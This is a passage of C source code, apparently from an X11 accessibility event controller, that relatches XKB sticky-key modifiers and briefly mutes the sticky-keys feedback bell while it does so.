	  /* check the mouse, to catch mouse events grabbed by
	   * another client; in case we should revert this XKB delatch 
	   */
	  if (!priv->pending_xkb_mod_relatch_mask)
	    {
	      int x, y;
	      gboolean moved;
	      spi_dec_x11_mouse_check (controller, &x, &y, &moved);
	    }
	  /* we check again, since the previous call may have 
	     changed this flag */
	  if (priv->pending_xkb_mod_relatch_mask)
	    {
	      unsigned int feedback_mask;
#ifdef SPI_XKB_DEBUG
	      fprintf (stderr, "relatching %x\n",
		       priv->pending_xkb_mod_relatch_mask);
#endif
	      /* temporarily turn off the latch bell, if it's on */
	      XkbGetControls (display,
			      XkbAccessXFeedbackMask,
			      priv->xkb_desc);
	      feedback_mask = priv->xkb_desc->ctrls->ax_options;
	      if (feedback_mask & XkbAX_StickyKeysFBMask)
	      {
	        XkbControlsChangesRec changes = {XkbAccessXFeedbackMask,
						 0, False};      
	        priv->xkb_desc->ctrls->ax_options
			      &= ~(XkbAX_StickyKeysFBMask);
	        XkbChangeControls (display, priv->xkb_desc, &changes);
	      }
	      /* TODO: account for lock as well as latch */
	      XkbLatchModifiers (display,
				 XkbUseCoreKbd,
				 priv->pending_xkb_mod_relatch_mask,
				 priv->pending_xkb_mod_relatch_mask);
	      if (feedback_mask & XkbAX_StickyKeysFBMask)
	      {	
	        XkbControlsChangesRec changes = {XkbAccessXFeedbackMask,
						 0, False};      
		priv->xkb_desc->ctrls->ax_options = feedback_mask;
		XkbChangeControls (display, priv->xkb_desc, &changes);
	      }
#ifdef SPI_XKB_DEBUG
	      fprintf (stderr, "relatched %x\n",
		       priv->pending_xkb_mod_relatch_mask);
#endif
	      priv->pending_xkb_mod_relatch_mask = 0;
	    }
	  else
	    {
	      priv->xkb_latch_mask = xkb_snev->latched_mods;
	    }
	}
      XSynchronize (display, FALSE);
    }
  
  return;
}